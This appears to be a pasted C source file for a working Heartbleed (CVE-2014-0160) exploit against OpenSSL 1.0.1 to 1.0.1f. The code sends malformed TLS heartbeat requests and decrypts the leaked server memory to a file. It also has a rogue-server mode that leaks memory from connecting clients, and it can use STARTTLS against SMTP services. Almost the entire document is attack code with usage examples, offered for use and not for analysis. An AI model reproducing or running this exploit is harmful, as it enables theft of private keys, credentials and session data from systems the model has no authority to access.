SHOW:
|
|
- or go back to the newest paste.
| 1 | /* | |
| 2 | * CVE-2014-0160 heartbleed OpenSSL information leak exploit | |
| 3 | * ========================================================= | |
| 4 | * This exploit uses OpenSSL to create an encrypted connection | |
| 5 | * and trigger the heartbleed leak. The leaked information is | |
| 6 | * returned encrypted and is then decrypted, decompressed and | |
| 7 | * wrote to a file to annoy IDS/forensics. The exploit can set | |
| 8 | * the heatbeart payload length arbitrarily or use two preset | |
| 9 | * values for 0x00 and MAX length. The vulnerability occurs due | |
| 10 | * to bounds checking not being performed on a heap value which | |
| 11 | * is user supplied and returned to the user as part of DTLS/TLS | |
| 12 | * heartbeat SSL extension. All versions of OpenSSL 1.0.1 to | |
| 13 | * 1.0.1f are known affected. You must run this against a target | |
| 14 | * which is linked to a vulnerable OpenSSL library using DTLS/TLS. | |
| 15 | * | |
| 16 | * Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g | |
| 17 | * | |
| 18 | * E.g. | |
| 19 | * $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed | |
| 20 | * $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 1 | |
| 21 | * [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit | |
| 22 | * [ ============================================================= | |
| 23 | * [ connecting to 192.168.11.23 443/tcp | |
| 24 | * [ connected to 192.168.11.23 443/tcp | |
| 25 | * [ <3 <3 <3 heart bleed <3 <3 <3 <3 | |
| 26 | * [ heartbeat returned type=24 length=16416 | |
| 27 | * [ decrypting and decompressing SSL packet | |
| 28 | * [ final record type=24, length=16384 | |
| 29 | * [ wrote 16384 bytes to file 'leakme' | |
| 30 | * [ done. | |
| 31 | * $ hexdump -C leakme | |
| 32 | * - snip - snip | |
| 33 | * | |
| 34 | * Added support for pre_cmd's and as an example use STARTTLS | |
| 35 | * to leak from vulnerable SMTP services. | |
| 36 | * | |
| 37 | * Added experimental support for exploiting connecting clients | |
| 38 | * with rogue server. Generate certificates with the following: | |
| 39 | * | |
| 40 | * $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ | |
| 41 | * -keyout server.key -out server.crt | |
| 42 | * | |
| 43 | * todo: add udp/dtls support. | |
| 44 | * | |
| 45 | * - Hacker Fantastic | |
| 46 | * http://www.mdsec.co.uk | |
| 47 | * | |
| 48 | */ | |
| 49 | #include <stdio.h> | |
| 50 | #include <stdint.h> | |
| 51 | #include <stdlib.h> | |
| 52 | #include <string.h> | |
| 53 | #include <unistd.h> | |
| 54 | #include <getopt.h> | |
| 55 | #include <signal.h> | |
| 56 | #include <netdb.h> | |
| 57 | #include <fcntl.h> | |
| 58 | #include <sys/socket.h> | |
| 59 | #include <sys/types.h> | |
| 60 | #include <netinet/in.h> | |
| 61 | #include <inttypes.h> | |
| 62 | #include <openssl/bio.h> | |
| 63 | #include <openssl/ssl.h> | |
| 64 | #include <openssl/err.h> | |
| 65 | #include <openssl/evp.h> | |
| 66 | #include <openssl/tls1.h> | |
| 67 | #include <openssl/rand.h> | |
| 68 | #include <openssl/buffer.h> | |
| 69 | ||
| 70 | #define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \ | |
| 71 | (((unsigned int)(c[1])) )),c+=2) | |
| 72 | #define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ | |
| 73 | c[1]=(unsigned char)(((s) )&0xff)),c+=2) | |
| 74 | ||
| 75 | typedef struct {
| |
| 76 | int socket; | |
| 77 | SSL *sslHandle; | |
| 78 | SSL_CTX *sslContext; | |
| 79 | } connection; | |
| 80 | ||
| 81 | typedef struct {
| |
| 82 | unsigned char type; | |
| 83 | short version; | |
| 84 | unsigned int length; | |
| 85 | unsigned char hbtype; | |
| 86 | unsigned int payload_length; | |
| 87 | void* payload; | |
| 88 | } heartbeat; | |
| 89 | ||
| 90 | void ssl_init(); | |
| 91 | void usage(); | |
| 92 | int tcp_connect(char*,int); | |
| 93 | int tcp_bind(char*, int); | |
| 94 | connection* tls_connect(int); | |
| 95 | connection* tls_bind(int); | |
| 96 | int pre_cmd(int,int); | |
| 97 | void* heartbleed(connection* ,unsigned int); | |
| 98 | void* sneakyleaky(connection* ,char*, int); | |
| 99 | ||
| 100 | int tcp_connect(char* server,int port){
| |
| 101 | int sd,ret; | |
| 102 | struct hostent *host; | |
| 103 | struct sockaddr_in sa; | |
| 104 | host = gethostbyname(server); | |
| 105 | sd = socket(AF_INET, SOCK_STREAM, 0); | |
| 106 | if(sd==-1){
| |
| 107 | printf("[!] cannot create socket\n");
| |
| 108 | exit(0); | |
| 109 | } | |
| 110 | sa.sin_family = AF_INET; | |
| 111 | sa.sin_port = htons(port); | |
| 112 | sa.sin_addr = *((struct in_addr *) host->h_addr); | |
| 113 | bzero(&(sa.sin_zero),8); | |
| 114 | printf("[ connecting to %s %d/tcp\n",server,port);
| |
| 115 | ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr)); | |
| 116 | if(ret==0){
| |
| 117 | printf("[ connected to %s %d/tcp\n",server,port);
| |
| 118 | } | |
| 119 | else{
| |
| 120 | printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
| |
| 121 | exit(0); | |
| 122 | } | |
| 123 | return sd; | |
| 124 | } | |
| 125 | ||
| 126 | int tcp_bind(char* server, int port){
| |
| 127 | int sd, ret, val=1; | |
| 128 | struct sockaddr_in sin; | |
| 129 | struct hostent *host; | |
| 130 | host = gethostbyname(server); | |
| 131 | sd=socket(AF_INET,SOCK_STREAM,0); | |
| 132 | if(sd==-1){
| |
| 133 | printf("[!] cannot create socket\n");
| |
| 134 | exit(0); | |
| 135 | } | |
| 136 | memset(&sin,0,sizeof(sin)); | |
| 137 | sin.sin_addr=*((struct in_addr *) host->h_addr); | |
| 138 | sin.sin_family=AF_INET; | |
| 139 | sin.sin_port=htons(port); | |
| 140 | setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val)); | |
| 141 | ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin)); | |
| 142 | if(ret==-1){
| |
| 143 | printf("[!] cannot bind socket\n");
| |
| 144 | exit(0); | |
| 145 | } | |
| 146 | listen(sd,5); | |
| 147 | return(sd); | |
| 148 | } | |
| 149 | ||
| 150 | ||
| 151 | void ssl_init(){
| |
| 152 | SSL_load_error_strings(); | |
| 153 | SSL_library_init(); | |
| 154 | OpenSSL_add_all_digests(); | |
| 155 | OpenSSL_add_all_algorithms(); | |
| 156 | OpenSSL_add_all_ciphers(); | |
| 157 | } | |
| 158 | ||
| 159 | connection* tls_connect(int sd){
| |
| 160 | connection *c; | |
| 161 | c = malloc(sizeof(connection)); | |
| 162 | c->socket = sd; | |
| 163 | c->sslHandle = NULL; | |
| 164 | c->sslContext = NULL; | |
| 165 | c->sslContext = SSL_CTX_new(TLSv1_client_method()); | |
| 166 | if(c->sslContext==NULL) | |
| 167 | ERR_print_errors_fp(stderr); | |
| 168 | c->sslHandle = SSL_new(c->sslContext); | |
| 169 | if(c->sslHandle==NULL) | |
| 170 | ERR_print_errors_fp(stderr); | |
| 171 | if(!SSL_set_fd(c->sslHandle,c->socket)) | |
| 172 | ERR_print_errors_fp(stderr); | |
| 173 | if(SSL_connect(c->sslHandle)!=1) | |
| 174 | ERR_print_errors_fp(stderr); | |
| 175 | if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || | |
| 176 | c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
| |
| 177 | printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
| |
| 178 | } | |
| 179 | return c; | |
| 180 | } | |
| 181 | ||
| 182 | connection* tls_bind(int sd){
| |
| 183 | int bytes; | |
| 184 | connection *c; | |
| 185 | char* buf; | |
| 186 | buf = malloc(4096); | |
| 187 | memset(buf,0,4096); | |
| 188 | c = malloc(sizeof(connection)); | |
| 189 | c->socket = sd; | |
| 190 | c->sslHandle = NULL; | |
| 191 | c->sslContext = NULL; | |
| 192 | c->sslContext = SSL_CTX_new(TLSv1_server_method()); | |
| 193 | if(c->sslContext==NULL) | |
| 194 | ERR_print_errors_fp(stderr); | |
| 195 | SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3); | |
| 196 | SSL_CTX_SRP_CTX_init(c->sslContext); | |
| 197 | SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM); | |
| 198 | SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM); | |
| 199 | if(!SSL_CTX_check_private_key(c->sslContext)){
| |
| 200 | printf("[!] FATAL: private key does not match the certificate public key\n");
| |
| 201 | exit(0); | |
| 202 | } | |
| 203 | c->sslHandle = SSL_new(c->sslContext); | |
| 204 | if(c->sslHandle==NULL) | |
| 205 | ERR_print_errors_fp(stderr); | |
| 206 | if(!SSL_set_fd(c->sslHandle,c->socket)) | |
| 207 | ERR_print_errors_fp(stderr); | |
| 208 | int rc = SSL_accept(c->sslHandle); | |
| 209 | printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
| |
| 210 | bytes = SSL_read(c->sslHandle, buf, 4095); | |
| 211 | printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
| |
| 212 | if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED || | |
| 213 | c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
| |
| 214 | printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
| |
| 215 | } | |
| 216 | return c; | |
| 217 | } | |
| 218 | ||
| 219 | int pre_cmd(int sd,int verbose){
| |
| 220 | /* this function can be used to send commands to a plain-text | |
| 221 | service or client before heartbleed exploit attempt. e.g. STARTTLS */ | |
| 222 | int rc; | |
| 223 | char* buffer; | |
| 224 | char* hello = "EHLO test\n"; | |
| 225 | char* start = "STARTTLS\n"; | |
| 226 | buffer = malloc(2049); | |
| 227 | memset(buffer,0,2049); | |
| 228 | rc = read(sd,buffer,2048); | |
| 229 | printf("[ banner: %s",buffer);
| |
| 230 | send(sd,hello,strlen(hello),0); | |
| 231 | memset(buffer,0,2049); | |
| 232 | rc = read(sd,buffer,2048); | |
| 233 | if(verbose==1){
| |
| 234 | printf("%s\n",buffer);
| |
| 235 | } | |
| 236 | send(sd,start,strlen(start),0); | |
| 237 | memset(buffer,0,2049); | |
| 238 | rc = read(sd,buffer,2048); | |
| 239 | if(verbose==1){
| |
| 240 | printf("%s\n",buffer);
| |
| 241 | } | |
| 242 | return sd; | |
| 243 | } | |
| 244 | ||
| 245 | void* heartbleed(connection *c,unsigned int type){
| |
| 246 | unsigned char *buf, *p; | |
| 247 | int ret; | |
| 248 | buf = OPENSSL_malloc(1 + 2); | |
| 249 | p = buf; | |
| 250 | *p++ = TLS1_HB_REQUEST; | |
| 251 | switch(type){
| |
| 252 | case 0: | |
| 253 | s2n(0x0,p); | |
| 254 | break; | |
| 255 | case 1: | |
| 256 | s2n(0xffff,p); | |
| 257 | break; | |
| 258 | default: | |
| 259 | printf("[ setting heartbeat payload_length to %u\n",type);
| |
| 260 | s2n(type,p); | |
| 261 | break; | |
| 262 | } | |
| 263 | printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
| |
| 264 | ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3); | |
| 265 | OPENSSL_free(buf); | |
| 266 | return c; | |
| 267 | } | |
| 268 | ||
| 269 | void* sneakyleaky(connection *c,char* filename, int verbose){
| |
| 270 | char *p; | |
| 271 | int ssl_major,ssl_minor,al; | |
| 272 | int enc_err,n,i; | |
| 273 | SSL3_RECORD *rr; | |
| 274 | SSL_SESSION *sess; | |
| 275 | SSL* s; | |
| 276 | unsigned char md[EVP_MAX_MD_SIZE]; | |
| 277 | short version; | |
| 278 | unsigned mac_size, orig_len; | |
| 279 | size_t extra; | |
| 280 | rr= &(c->sslHandle->s3->rrec); | |
| 281 | sess=c->sslHandle->session; | |
| 282 | s = c->sslHandle; | |
| 283 | if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER) | |
| 284 | extra=SSL3_RT_MAX_EXTRA; | |
| 285 | else | |
| 286 | extra=0; | |
| 287 | if ((s->rstate != SSL_ST_READ_BODY) || | |
| 288 | (s->packet_length < SSL3_RT_HEADER_LENGTH)) {
| |
| 289 | n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0); | |
| 290 | if (n <= 0) | |
| 291 | goto apple; | |
| 292 | s->rstate=SSL_ST_READ_BODY; | |
| 293 | p=s->packet; | |
| 294 | rr->type= *(p++); | |
| 295 | ssl_major= *(p++); | |
| 296 | ssl_minor= *(p++); | |
| 297 | version=(ssl_major<<8)|ssl_minor; | |
| 298 | n2s(p,rr->length); | |
| 299 | if(rr->type==24){
| |
| 300 | printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
| |
| 301 | } | |
| 302 | else{
| |
| 303 | printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
| |
| 304 | s->packet_length=0; | |
| 305 | goto apple; | |
| 306 | } | |
| 307 | } | |
| 308 | if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
| |
| 309 | i=rr->length; | |
| 310 | n=ssl3_read_n(s,i,i,1); | |
| 311 | if (n <= 0) goto apple; | |
| 312 | } | |
| 313 | printf("[ decrypting and decompressing SSL packet\n");
| |
| 314 | s->rstate=SSL_ST_READ_HEADER; | |
| 315 | rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]); | |
| 316 | rr->data=rr->input; | |
| 317 | tls1_enc(s,0); | |
| 318 | if((sess != NULL) && | |
| 319 | (s->enc_read_ctx != NULL) && | |
| 320 | (EVP_MD_CTX_md(s->read_hash) != NULL)) | |
| 321 | {
| |
| 322 | unsigned char *mac = NULL; | |
| 323 | unsigned char mac_tmp[EVP_MAX_MD_SIZE]; | |
| 324 | mac_size=EVP_MD_CTX_size(s->read_hash); | |
| 325 | OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE); | |
| 326 | orig_len = rr->length+((unsigned int)rr->type>>8); | |
| 327 | if(orig_len < mac_size || | |
| 328 | (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE && | |
| 329 | orig_len < mac_size+1)){
| |
| 330 | al=SSL_AD_DECODE_ERROR; | |
| 331 | SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT); | |
| 332 | } | |
| 333 | if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
| |
| 334 | mac = mac_tmp; | |
| 335 | ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len); | |
| 336 | rr->length -= mac_size; | |
| 337 | } | |
| 338 | else{
| |
| 339 | rr->length -= mac_size; | |
| 340 | mac = &rr->data[rr->length]; | |
| 341 | } | |
| 342 | i = tls1_mac(s,md,0); | |
| 343 | if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0) | |
| 344 | enc_err = -1; | |
| 345 | if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size) | |
| 346 | enc_err = -1; | |
| 347 | } | |
| 348 | if(enc_err < 0){
| |
| 349 | al=SSL_AD_BAD_RECORD_MAC; | |
| 350 | SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC); | |
| 351 | goto apple; | |
| 352 | } | |
| 353 | if(s->expand != NULL){
| |
| 354 | if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
| |
| 355 | al=SSL_AD_RECORD_OVERFLOW; | |
| 356 | SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG); | |
| 357 | goto apple; | |
| 358 | } | |
| 359 | if (!ssl3_do_uncompress(s)) {
| |
| 360 | al=SSL_AD_DECOMPRESSION_FAILURE; | |
| 361 | SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION); | |
| 362 | goto apple; | |
| 363 | } | |
| 364 | } | |
| 365 | if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
| |
| 366 | al=SSL_AD_RECORD_OVERFLOW; | |
| 367 | SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG); | |
| 368 | goto apple; | |
| 369 | } | |
| 370 | rr->off=0; | |
| 371 | s->packet_length=0; | |
| 372 | if(verbose==1){
| |
| 373 | { unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
| |
| 374 | printf("\n");
| |
| 375 | } | |
| 376 | printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
| |
| 377 | int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700); | |
| 378 | write(fd,s->s3->rrec.data,s->s3->rrec.length); | |
| 379 | close(fd); | |
| 380 | printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
| |
| 381 | printf("[ done.\n");
| |
| 382 | exit(0); | |
| 383 | apple: | |
| 384 | printf("[ problem handling SSL record packet - wrong type?\n");
| |
| 385 | } | |
| 386 | ||
| 387 | void usage(){
| |
| 388 | printf("[\n");
| |
| 389 | printf("[ --server|-s <ip/dns> - the server to target\n");
| |
| 390 | printf("[ --port|-p <port> - the port to target\n");
| |
| 391 | printf("[ --file|-f <filename> - file to write data to\n");
| |
| 392 | printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n");
| |
| 393 | printf("[ --precmd|-c - send precmd buffer (STARTTLS)\n");
| |
| 394 | printf("[ --type|-t - select exploit to try\n");
| |
| 395 | printf("[ 0 = null length\n");
| |
| 396 | printf("[ 1 = max leak\n");
| |
| 397 | printf("[ n = heartbeat payload_length\n");
| |
| 398 | printf("[\n");
| |
| 399 | printf("[ --verbose|-v - output leak to screen\n");
| |
| 400 | printf("[ --help|-h - this output\n");
| |
| 401 | printf("[\n");
| |
| 402 | exit(0); | |
| 403 | } | |
| 404 | ||
| 405 | int main(int argc, char* argv[]){
| |
| 406 | int ret, port, userc, index; | |
| 407 | int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 0; | |
| 408 | struct hostent *h; | |
| 409 | connection* c; | |
| 410 | char *host, *file; | |
| 411 | int ihost = 0, iport = 0, ifile = 0, itype = 0; | |
| 412 | printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
| |
| 413 | printf("[ =============================================================\n");
| |
| 414 | static struct option options[] = {
| |
| 415 | {"server", 1, 0, 's'},
| |
| 416 | {"port", 1, 0, 'p'},
| |
| 417 | {"file", 1, 0, 'f'},
| |
| 418 | {"type", 1, 0, 't'},
| |
| 419 | {"bind", 1, 0, 'b'},
| |
| 420 | {"verbose", 0, 0, 'v'},
| |
| 421 | {"precmd", 0, 0, 'c'},
| |
| 422 | {"help", 0, 0,'h'}
| |
| 423 | }; | |
| 424 | while(userc != -1) {
| |
| 425 | userc = getopt_long(argc,argv,"s:p:f:t:b:cvh",options,&index); | |
| 426 | switch(userc) {
| |
| 427 | case -1: | |
| 428 | break; | |
| 429 | case 's': | |
| 430 | if(ihost==0){
| |
| 431 | ihost = 1; | |
| 432 | h = gethostbyname(optarg); | |
| 433 | if(h==NULL){
| |
| 434 | printf("[!] FATAL: unknown host '%s'\n",optarg);
| |
| 435 | exit(1); | |
| 436 | } | |
| 437 | host = malloc(strlen(optarg) + 1); | |
| 438 | sprintf(host,"%s",optarg); | |
| 439 | } | |
| 440 | break; | |
| 441 | case 'p': | |
| 442 | if(iport==0){
| |
| 443 | port = atoi(optarg); | |
| 444 | iport = 1; | |
| 445 | } | |
| 446 | break; | |
| 447 | case 'f': | |
| 448 | if(ifile==0){
| |
| 449 | file = malloc(strlen(optarg) + 1); | |
| 450 | sprintf(file,"%s",optarg); | |
| 451 | ifile = 1; | |
| 452 | } | |
| 453 | break; | |
| 454 | case 't': | |
| 455 | if(itype==0){
| |
| 456 | type = atoi(optarg); | |
| 457 | itype = 1; | |
| 458 | } | |
| 459 | break; | |
| 460 | case 'h': | |
| 461 | usage(); | |
| 462 | break; | |
| 463 | case 'b': | |
| 464 | if(ihost==0){
| |
| 465 | ihost = 1; | |
| 466 | host = malloc(strlen(optarg)+1); | |
| 467 | sprintf(host,"%s",optarg); | |
| 468 | bind = 1; | |
| 469 | } | |
| 470 | break; | |
| 471 | case 'c': | |
| 472 | precmd = 1; | |
| 473 | break; | |
| 474 | case 'v': | |
| 475 | verbose = 1; | |
| 476 | break; | |
| 477 | default: | |
| 478 | break; | |
| 479 | } | |
| 480 | } | |
| 481 | if(ihost==0||iport==0||ifile==0||itype==0){
| |
| 482 | printf("[ try --help\n");
| |
| 483 | exit(0); | |
| 484 | } | |
| 485 | ssl_init(); | |
| 486 | if(bind==0){
| |
| 487 | ret = tcp_connect(host, port); | |
| 488 | if(precmd==1){
| |
| 489 | pre_cmd(ret, verbose); | |
| 490 | } | |
| 491 | c = tls_connect(ret); | |
| 492 | heartbleed(c,type); | |
| 493 | sneakyleaky(c,file,verbose); | |
| 494 | exit(0); | |
| 495 | } | |
| 496 | else{
| |
| 497 | int sd, pid, i; | |
| 498 | ret = tcp_bind(host, port); | |
| 499 | while(1){
| |
| 500 | sd=accept(ret,0,0); | |
| 501 | if(sd==-1){
| |
| 502 | printf("[!] FATAL: problem with accept()\n");
| |
| 503 | exit(0); | |
| 504 | } | |
| 505 | if(pid=fork()){
| |
| 506 | close(sd); | |
| 507 | } | |
| 508 | else{
| |
| 509 | c = tls_bind(sd); | |
| 510 | if(precmd==1){
| |
| 511 | pre_cmd(ret, verbose); | |
| 512 | } | |
| 513 | heartbleed(c,type); | |
| 514 | sneakyleaky(c,file,verbose); | |
| 515 | exit(0); | |
| 516 | } | |
| 517 | } | |
| 518 | } | |
| 519 | } |